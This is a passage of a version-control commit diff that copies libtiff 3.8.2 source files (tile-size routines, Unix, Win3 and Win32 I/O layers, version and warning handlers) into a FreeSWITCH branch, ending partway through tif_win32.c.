+			     (unsigned long) (td->td_samplesperpixel - 1));
+		return (0);
+	}
+	return (1);
+}
+
+/*
+ * Compute how many tiles are in an image.
+ */
+ttile_t
+TIFFNumberOfTiles(TIFF* tif)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+	uint32 dx = td->td_tilewidth;
+	uint32 dy = td->td_tilelength;
+	uint32 dz = td->td_tiledepth;
+	ttile_t ntiles;
+
+	if (dx == (uint32) -1)
+		dx = td->td_imagewidth;
+	if (dy == (uint32) -1)
+		dy = td->td_imagelength;
+	if (dz == (uint32) -1)
+		dz = td->td_imagedepth;
+	ntiles = (dx == 0 || dy == 0 || dz == 0) ? 0 :
+	    multiply(tif, multiply(tif, TIFFhowmany(td->td_imagewidth, dx),
+				   TIFFhowmany(td->td_imagelength, dy),
+				   "TIFFNumberOfTiles"),
+		     TIFFhowmany(td->td_imagedepth, dz), "TIFFNumberOfTiles");
+	if (td->td_planarconfig == PLANARCONFIG_SEPARATE)
+		ntiles = multiply(tif, ntiles, td->td_samplesperpixel,
+				  "TIFFNumberOfTiles");
+	return (ntiles);
+}
+
+/*
+ * Compute the # bytes in each row of a tile.
+ */
+tsize_t
+TIFFTileRowSize(TIFF* tif)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+	tsize_t rowsize;
+	
+	if (td->td_tilelength == 0 || td->td_tilewidth == 0)
+		return ((tsize_t) 0);
+	rowsize = multiply(tif, td->td_bitspersample, td->td_tilewidth,
+			   "TIFFTileRowSize");
+	if (td->td_planarconfig == PLANARCONFIG_CONTIG)
+		rowsize = multiply(tif, rowsize, td->td_samplesperpixel,
+				   "TIFFTileRowSize");
+	return ((tsize_t) TIFFhowmany8(rowsize));
+}
+
+/*
+ * Compute the # bytes in a variable length, row-aligned tile.
+ */
+tsize_t
+TIFFVTileSize(TIFF* tif, uint32 nrows)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+	tsize_t tilesize;
+
+	if (td->td_tilelength == 0 || td->td_tilewidth == 0 ||
+	    td->td_tiledepth == 0)
+		return ((tsize_t) 0);
+	if (td->td_planarconfig == PLANARCONFIG_CONTIG &&
+	    td->td_photometric == PHOTOMETRIC_YCBCR &&
+	    !isUpSampled(tif)) {
+		/*
+		 * Packed YCbCr data contain one Cb+Cr for every
+		 * HorizontalSampling*VerticalSampling Y values.
+		 * Must also roundup width and height when calculating
+		 * since images that are not a multiple of the
+		 * horizontal/vertical subsampling area include
+		 * YCbCr data for the extended image.
+		 */
+		tsize_t w =
+		    TIFFroundup(td->td_tilewidth, td->td_ycbcrsubsampling[0]);
+		tsize_t rowsize =
+		    TIFFhowmany8(multiply(tif, w, td->td_bitspersample,
+					  "TIFFVTileSize"));
+		tsize_t samplingarea =
+		    td->td_ycbcrsubsampling[0]*td->td_ycbcrsubsampling[1];
+		if (samplingarea == 0) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "Invalid YCbCr subsampling");
+			return 0;
+		}
+		nrows = TIFFroundup(nrows, td->td_ycbcrsubsampling[1]);
+		/* NB: don't need TIFFhowmany here 'cuz everything is rounded */
+		tilesize = multiply(tif, nrows, rowsize, "TIFFVTileSize");
+		tilesize = summarize(tif, tilesize,
+				     multiply(tif, 2, tilesize / samplingarea,
+					      "TIFFVTileSize"),
+				     "TIFFVTileSize");
+	} else
+		tilesize = multiply(tif, nrows, TIFFTileRowSize(tif),
+				    "TIFFVTileSize");
+	return ((tsize_t)
+	    multiply(tif, tilesize, td->td_tiledepth, "TIFFVTileSize"));
+}
+
+/*
+ * Compute the # bytes in a row-aligned tile.
+ */
+tsize_t
+TIFFTileSize(TIFF* tif)
+{
+	return (TIFFVTileSize(tif, tif->tif_dir.td_tilelength));
+}
+
+/*
+ * Compute a default tile size based on the image
+ * characteristics and a requested value.  If a
+ * request is <1 then we choose a size according
+ * to certain heuristics.
+ */
+void
+TIFFDefaultTileSize(TIFF* tif, uint32* tw, uint32* th)
+{
+	(*tif->tif_deftilesize)(tif, tw, th);
+}
+
+void
+_TIFFDefaultTileSize(TIFF* tif, uint32* tw, uint32* th)
+{
+	(void) tif;
+	if (*(int32*) tw < 1)
+		*tw = 256;
+	if (*(int32*) th < 1)
+		*th = 256;
+	/* roundup to a multiple of 16 per the spec */
+	if (*tw & 0xf)
+		*tw = TIFFroundup(*tw, 16);
+	if (*th & 0xf)
+		*th = TIFFroundup(*th, 16);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_unix.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_unix.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_unix.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_unix.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_unix.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,293 @@
+/* $Id: tif_unix.c,v 1.12 2006/03/21 16:37:51 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library UNIX-specific Routines. These are should also work with the
+ * Windows Common RunTime Library.
+ */
+#include "tif_config.h"
+
+#ifdef HAVE_SYS_TYPES_H
+# include <sys/types.h>
+#endif
+
+#include <stdarg.h>
+#include <stdlib.h>
+#include <sys/stat.h>
+
+#ifdef HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+
+#ifdef HAVE_FCNTL_H
+# include <fcntl.h>
+#endif
+
+#ifdef HAVE_IO_H
+# include <io.h>
+#endif
+
+#include "tiffiop.h"
+
+static tsize_t
+_tiffReadProc(thandle_t fd, tdata_t buf, tsize_t size)
+{
+	return ((tsize_t) read((int) fd, buf, (size_t) size));
+}
+
+static tsize_t
+_tiffWriteProc(thandle_t fd, tdata_t buf, tsize_t size)
+{
+	return ((tsize_t) write((int) fd, buf, (size_t) size));
+}
+
+static toff_t
+_tiffSeekProc(thandle_t fd, toff_t off, int whence)
+{
+	return ((toff_t) lseek((int) fd, (off_t) off, whence));
+}
+
+static int
+_tiffCloseProc(thandle_t fd)
+{
+	return (close((int) fd));
+}
+
+
+static toff_t
+_tiffSizeProc(thandle_t fd)
+{
+#ifdef _AM29K
+	long fsize;
+	return ((fsize = lseek((int) fd, 0, SEEK_END)) < 0 ? 0 : fsize);
+#else
+	struct stat sb;
+	return (toff_t) (fstat((int) fd, &sb) < 0 ? 0 : sb.st_size);
+#endif
+}
+
+#ifdef HAVE_MMAP
+#include <sys/mman.h>
+
+static int
+_tiffMapProc(thandle_t fd, tdata_t* pbase, toff_t* psize)
+{
+	toff_t size = _tiffSizeProc(fd);
+	if (size != (toff_t) -1) {
+		*pbase = (tdata_t)
+		    mmap(0, size, PROT_READ, MAP_SHARED, (int) fd, 0);
+		if (*pbase != (tdata_t) -1) {
+			*psize = size;
+			return (1);
+		}
+	}
+	return (0);
+}
+
+static void
+_tiffUnmapProc(thandle_t fd, tdata_t base, toff_t size)
+{
+	(void) fd;
+	(void) munmap(base, (off_t) size);
+}
+#else /* !HAVE_MMAP */
+static int
+_tiffMapProc(thandle_t fd, tdata_t* pbase, toff_t* psize)
+{
+	(void) fd; (void) pbase; (void) psize;
+	return (0);
+}
+
+static void
+_tiffUnmapProc(thandle_t fd, tdata_t base, toff_t size)
+{
+	(void) fd; (void) base; (void) size;
+}
+#endif /* !HAVE_MMAP */
+
+/*
+ * Open a TIFF file descriptor for read/writing.
+ */
+TIFF*
+TIFFFdOpen(int fd, const char* name, const char* mode)
+{
+	TIFF* tif;
+
+	tif = TIFFClientOpen(name, mode,
+	    (thandle_t) fd,
+	    _tiffReadProc, _tiffWriteProc,
+	    _tiffSeekProc, _tiffCloseProc, _tiffSizeProc,
+	    _tiffMapProc, _tiffUnmapProc);
+	if (tif)
+		tif->tif_fd = fd;
+	return (tif);
+}
+
+/*
+ * Open a TIFF file for read/writing.
+ */
+TIFF*
+TIFFOpen(const char* name, const char* mode)
+{
+	static const char module[] = "TIFFOpen";
+	int m, fd;
+        TIFF* tif;
+
+	m = _TIFFgetMode(mode, module);
+	if (m == -1)
+		return ((TIFF*)0);
+
+/* for cygwin and mingw */        
+#ifdef O_BINARY
+        m |= O_BINARY;
+#endif        
+        
+#ifdef _AM29K
+	fd = open(name, m);
+#else
+	fd = open(name, m, 0666);
+#endif
+	if (fd < 0) {
+		TIFFErrorExt(0, module, "%s: Cannot open", name);
+		return ((TIFF *)0);
+	}
+
+	tif = TIFFFdOpen((int)fd, name, mode);
+	if(!tif)
+		close(fd);
+	return tif;
+}
+
+#ifdef __WIN32__
+#include <windows.h>
+/*
+ * Open a TIFF file with a Unicode filename, for read/writing.
+ */
+TIFF*
+TIFFOpenW(const wchar_t* name, const char* mode)
+{
+	static const char module[] = "TIFFOpenW";
+	int m, fd;
+	int mbsize;
+	char *mbname;
+	TIFF* tif;
+
+	m = _TIFFgetMode(mode, module);
+	if (m == -1)
+		return ((TIFF*)0);
+
+/* for cygwin and mingw */        
+#ifdef O_BINARY
+        m |= O_BINARY;
+#endif        
+        
+	fd = _wopen(name, m, 0666);
+	if (fd < 0) {
+		TIFFErrorExt(0, module, "%s: Cannot open", name);
+		return ((TIFF *)0);
+	}
+
+	mbname = NULL;
+	mbsize = WideCharToMultiByte(CP_ACP, 0, name, -1, NULL, 0, NULL, NULL);
+	if (mbsize > 0) {
+		mbname = _TIFFmalloc(mbsize);
+		if (!mbname) {
+			TIFFErrorExt(0, module,
+			"Can't allocate space for filename conversion buffer");
+			return ((TIFF*)0);
+		}
+
+		WideCharToMultiByte(CP_ACP, 0, name, -1, mbname, mbsize,
+				    NULL, NULL);
+	}
+
+	tif = TIFFFdOpen((int)fd, (mbname != NULL) ? mbname : "<unknown>",
+			 mode);
+	
+	_TIFFfree(mbname);
+	
+	if(!tif)
+		close(fd);
+	return tif;
+}
+#endif
+
+void*
+_TIFFmalloc(tsize_t s)
+{
+	return (malloc((size_t) s));
+}
+
+void
+_TIFFfree(tdata_t p)
+{
+	free(p);
+}
+
+void*
+_TIFFrealloc(tdata_t p, tsize_t s)
+{
+	return (realloc(p, (size_t) s));
+}
+
+void
+_TIFFmemset(tdata_t p, int v, tsize_t c)
+{
+	memset(p, v, (size_t) c);
+}
+
+void
+_TIFFmemcpy(tdata_t d, const tdata_t s, tsize_t c)
+{
+	memcpy(d, s, (size_t) c);
+}
+
+int
+_TIFFmemcmp(const tdata_t p1, const tdata_t p2, tsize_t c)
+{
+	return (memcmp(p1, p2, (size_t) c));
+}
+
+static void
+unixWarningHandler(const char* module, const char* fmt, va_list ap)
+{
+	if (module != NULL)
+		fprintf(stderr, "%s: ", module);
+	fprintf(stderr, "Warning, ");
+	vfprintf(stderr, fmt, ap);
+	fprintf(stderr, ".\n");
+}
+TIFFErrorHandler _TIFFwarningHandler = unixWarningHandler;
+
+static void
+unixErrorHandler(const char* module, const char* fmt, va_list ap)
+{
+	if (module != NULL)
+		fprintf(stderr, "%s: ", module);
+	vfprintf(stderr, fmt, ap);
+	fprintf(stderr, ".\n");
+}
+TIFFErrorHandler _TIFFerrorHandler = unixErrorHandler;

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_version.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_version.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_version.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_version.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_version.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,33 @@
+/* $Header: /cvs/maptools/cvsroot/libtiff/libtiff/tif_version.c,v 1.2 2000/11/13 14:42:38 warmerda Exp $ */
+/*
+ * Copyright (c) 1992-1997 Sam Leffler
+ * Copyright (c) 1992-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+#include "tiffiop.h"
+
+static const char TIFFVersion[] = TIFFLIB_VERSION_STR;
+
+const char*
+TIFFGetVersion(void)
+{
+	return (TIFFVersion);
+}

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_warning.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_warning.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_warning.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_warning.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_warning.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,74 @@
+/* $Header: /cvs/maptools/cvsroot/libtiff/libtiff/tif_warning.c,v 1.2 2005/12/23 01:18:59 joris Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library.
+ */
+#include "tiffiop.h"
+
+TIFFErrorHandlerExt _TIFFwarningHandlerExt = NULL;
+
+TIFFErrorHandler
+TIFFSetWarningHandler(TIFFErrorHandler handler)
+{
+	TIFFErrorHandler prev = _TIFFwarningHandler;
+	_TIFFwarningHandler = handler;
+	return (prev);
+}
+
+TIFFErrorHandlerExt
+TIFFSetWarningHandlerExt(TIFFErrorHandlerExt handler)
+{
+	TIFFErrorHandlerExt prev = _TIFFwarningHandlerExt;
+	_TIFFwarningHandlerExt = handler;
+	return (prev);
+}
+
+void
+TIFFWarning(const char* module, const char* fmt, ...)
+{
+	va_list ap;
+	va_start(ap, fmt);
+	if (_TIFFwarningHandler)
+		(*_TIFFwarningHandler)(module, fmt, ap);
+	if (_TIFFwarningHandlerExt)
+		(*_TIFFwarningHandlerExt)(0, module, fmt, ap);
+	va_end(ap);
+}
+
+void
+TIFFWarningExt(thandle_t fd, const char* module, const char* fmt, ...)
+{
+	va_list ap;
+	va_start(ap, fmt);
+	if (_TIFFwarningHandler)
+		(*_TIFFwarningHandler)(module, fmt, ap);
+	if (_TIFFwarningHandlerExt)
+		(*_TIFFwarningHandlerExt)(fd, module, fmt, ap);
+	va_end(ap);
+}
+
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_win3.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_win3.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_win3.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_win3.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_win3.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,225 @@
+/* $Header: /cvs/maptools/cvsroot/libtiff/libtiff/tif_win3.c,v 1.2 2005/12/21 12:23:13 joris Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library Windows 3.x-specific Routines.
+ */
+#include "tiffiop.h"
+#if defined(__WATCOMC__) || defined(__BORLANDC__) || defined(_MSC_VER)
+#include <io.h>		/* for open, close, etc. function prototypes */
+#endif
+
+#include <windows.h>
+#include <windowsx.h>
+#include <memory.h>
+
+static tsize_t 
+_tiffReadProc(thandle_t fd, tdata_t buf, tsize_t size)
+{
+	return (_hread(fd, buf, size));
+}
+
+static tsize_t
+_tiffWriteProc(thandle_t fd, tdata_t buf, tsize_t size)
+{
+	return (_hwrite(fd, buf, size));
+}
+
+static toff_t
+_tiffSeekProc(thandle_t fd, toff_t off, int whence)
+{
+	return (_llseek(fd, (off_t) off, whence));
+}
+
+static int
+_tiffCloseProc(thandle_t fd)
+{
+	return (_lclose(fd));
+}
+
+#include <sys/stat.h>
+
+static toff_t
+_tiffSizeProc(thandle_t fd)
+{
+	struct stat sb;
+	return (fstat((int) fd, &sb) < 0 ? 0 : sb.st_size);
+}
+
+static int
+_tiffMapProc(thandle_t fd, tdata_t* pbase, toff_t* psize)
+{
+	return (0);
+}
+
+static void
+_tiffUnmapProc(thandle_t fd, tdata_t base, toff_t size)
+{
+}
+
+/*
+ * Open a TIFF file descriptor for read/writing.
+ */
+TIFF*
+TIFFFdOpen(int fd, const char* name, const char* mode)
+{
+	TIFF* tif;
+
+	tif = TIFFClientOpen(name, mode,
+	    (thandle_t) fd,
+	    _tiffReadProc, _tiffWriteProc, _tiffSeekProc, _tiffCloseProc,
+	    _tiffSizeProc, _tiffMapProc, _tiffUnmapProc);
+	if (tif)
+		tif->tif_fd = fd;
+	return (tif);
+}
+
+/*
+ * Open a TIFF file for read/writing.
+ */
+TIFF*
+TIFFOpen(const char* name, const char* mode)
+{
+	static const char module[] = "TIFFOpen";
+	int m, fd;
+	OFSTRUCT of;
+	int mm = 0;
+
+	m = _TIFFgetMode(mode, module);
+	if (m == -1)
+		return ((TIFF*)0);
+	if (m & O_CREAT) {
+		if ((m & O_TRUNC) || OpenFile(name, &of, OF_EXIST) != HFILE_ERROR)
+			mm |= OF_CREATE;
+	}
+	if (m & O_WRONLY)
+		mm |= OF_WRITE;
+	if (m & O_RDWR)
+		mm |= OF_READWRITE;
+	fd = OpenFile(name, &of, mm);
+	if (fd < 0) {
+		TIFFErrorExt(0, module, "%s: Cannot open", name);
+		return ((TIFF*)0);
+	}
+	return (TIFFFdOpen(fd, name, mode));
+}
+
+tdata_t
+_TIFFmalloc(tsize_t s)
+{
+	return (tdata_t) GlobalAllocPtr(GHND, (DWORD) s);
+}
+
+void
+_TIFFfree(tdata_t p)
+{
+	GlobalFreePtr(p);
+}
+
+tdata_t
+_TIFFrealloc(tdata_t p, tsize_t s)
+{
+	return (tdata_t) GlobalReAllocPtr(p, (DWORD) s, GHND);
+}
+
+void
+_TIFFmemset(tdata_t p, int v, tsize_t c)
+{
+	char* pp = (char*) p;
+
+	while (c > 0) {
+		tsize_t chunk = 0x10000 - ((uint32) pp & 0xffff);/* What's left in segment */
+		if (chunk > 0xff00)				/* No more than 0xff00 */
+			chunk = 0xff00;
+		if (chunk > c)					/* No more than needed */
+			chunk = c;
+		memset(pp, v, chunk);
+		pp = (char*) (chunk + (char huge*) pp);
+		c -= chunk;
+	}
+}
+
+void
+_TIFFmemcpy(tdata_t d, const tdata_t s, tsize_t c)
+{
+	if (c > 0xFFFF)
+		hmemcpy((void _huge*) d, (void _huge*) s, c);
+	else
+		(void) memcpy(d, s, (size_t) c);
+}
+
+int
+_TIFFmemcmp(const tdata_t d, const tdata_t s, tsize_t c)
+{
+	char* dd = (char*) d;
+	char* ss = (char*) s;
+	tsize_t chunks, chunkd, chunk;
+	int result;
+
+	while (c > 0) {
+		chunks = 0x10000 - ((uint32) ss & 0xffff);	/* What's left in segment */
+		chunkd = 0x10000 - ((uint32) dd & 0xffff);	/* What's left in segment */
+		chunk = c;					/* Get the largest of     */
+		if (chunk > chunks)				/*   c, chunks, chunkd,   */
+			chunk = chunks;				/*   0xff00               */
+		if (chunk > chunkd)
+			chunk = chunkd;
+		if (chunk > 0xff00)
+			chunk = 0xff00;
+		result = memcmp(dd, ss, chunk);
+		if (result != 0)
+			return (result);
+		dd = (char*) (chunk + (char huge*) dd);
+		ss = (char*) (chunk + (char huge*) ss);
+		c -= chunk;
+	}
+	return (0);
+}
+
+static void
+win3WarningHandler(const char* module, const char* fmt, va_list ap)
+{
+	char e[512] = { '\0' };
+	if (module != NULL)
+		strcat(strcpy(e, module), ":");
+	vsprintf(e+strlen(e), fmt, ap);
+	strcat(e, ".");
+	MessageBox(GetActiveWindow(), e, "LibTIFF Warning",
+	    MB_OK|MB_ICONEXCLAMATION);
+}
+TIFFErrorHandler _TIFFwarningHandler = win3WarningHandler;
+
+static void
+win3ErrorHandler(const char* module, const char* fmt, va_list ap)
+{
+	char e[512] = { '\0' };
+	if (module != NULL)
+		strcat(strcpy(e, module), ":");
+	vsprintf(e+strlen(e), fmt, ap);
+	strcat(e, ".");
+	MessageBox(GetActiveWindow(), e, "LibTIFF Error", MB_OK|MB_ICONSTOP);
+}
+TIFFErrorHandler _TIFFerrorHandler = win3ErrorHandler;

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_win32.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_win32.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_win32.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_win32.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_win32.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,392 @@
+/* $Id: tif_win32.c,v 1.18 2006/02/07 11:03:29 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library Win32-specific Routines.  Adapted from tif_unix.c 4/5/95 by
+ * Scott Wagner (wagner@itek.com), Itek Graphix, Rochester, NY USA
+ */
+#include "tiffiop.h"
+
+static tsize_t
+_tiffReadProc(thandle_t fd, tdata_t buf, tsize_t size)
+{
+	DWORD dwSizeRead;
+	if (!ReadFile(fd, buf, size, &dwSizeRead, NULL))
+		return(0);
+	return ((tsize_t) dwSizeRead);
+}
+
+static tsize_t
+_tiffWriteProc(thandle_t fd, tdata_t buf, tsize_t size)
+{
+	DWORD dwSizeWritten;
+	if (!WriteFile(fd, buf, size, &dwSizeWritten, NULL))
+		return(0);
+	return ((tsize_t) dwSizeWritten);
+}
+
+static toff_t
+_tiffSeekProc(thandle_t fd, toff_t off, int whence)
+{
+	DWORD dwMoveMethod, dwMoveHigh;
+
+        /* we use this as a special code, so avoid accepting it */
+        if( off == 0xFFFFFFFF )
+            return 0xFFFFFFFF;
+        
+	switch(whence)
+	{
+	case SEEK_SET:
+		dwMoveMethod = FILE_BEGIN;
+		break;
+	case SEEK_CUR:
+		dwMoveMethod = FILE_CURRENT;
+		break;
+	case SEEK_END:
+		dwMoveMethod = FILE_END;
+		break;
+	default:
+		dwMoveMethod = FILE_BEGIN;
+		break;
+	}
+        dwMoveHigh = 0;
+	return ((toff_t)SetFilePointer(fd, (LONG) off, (PLONG)&dwMoveHigh,
+                                       dwMoveMethod));
+}
+
+static int
+_tiffCloseProc(thandle_t fd)
+{
+	return (CloseHandle(fd) ? 0 : -1);
+}
+
+static toff_t
+_tiffSizeProc(thandle_t fd)
+{
+	return ((toff_t)GetFileSize(fd, NULL));
+}
+
+#ifdef __BORLANDC__
+#pragma argsused
+#endif
+static int
+_tiffDummyMapProc(thandle_t fd, tdata_t* pbase, toff_t* psize)
+{
+	return (0);
+}
+
+/*
+ * From "Hermann Josef Hill" <lhill@rhein-zeitung.de>:
+ *
+ * Windows uses both a handle and a pointer for file mapping,
+ * but according to the SDK documentation and Richter's book
+ * "Advanced Windows Programming" it is safe to free the handle
+ * after obtaining the file mapping pointer
+ *
+ * This removes a nasty OS dependency and cures a problem
+ * with Visual C++ 5.0
+ */
+static int
+_tiffMapProc(thandle_t fd, tdata_t* pbase, toff_t* psize)
+{
+	toff_t size;
+	HANDLE hMapFile;
+
+	if ((size = _tiffSizeProc(fd)) == 0xFFFFFFFF)
+		return (0);
+	hMapFile = CreateFileMapping(fd, NULL, PAGE_READONLY, 0, size, NULL);
+	if (hMapFile == NULL)
+		return (0);
+	*pbase = MapViewOfFile(hMapFile, FILE_MAP_READ, 0, 0, 0);
+	CloseHandle(hMapFile);
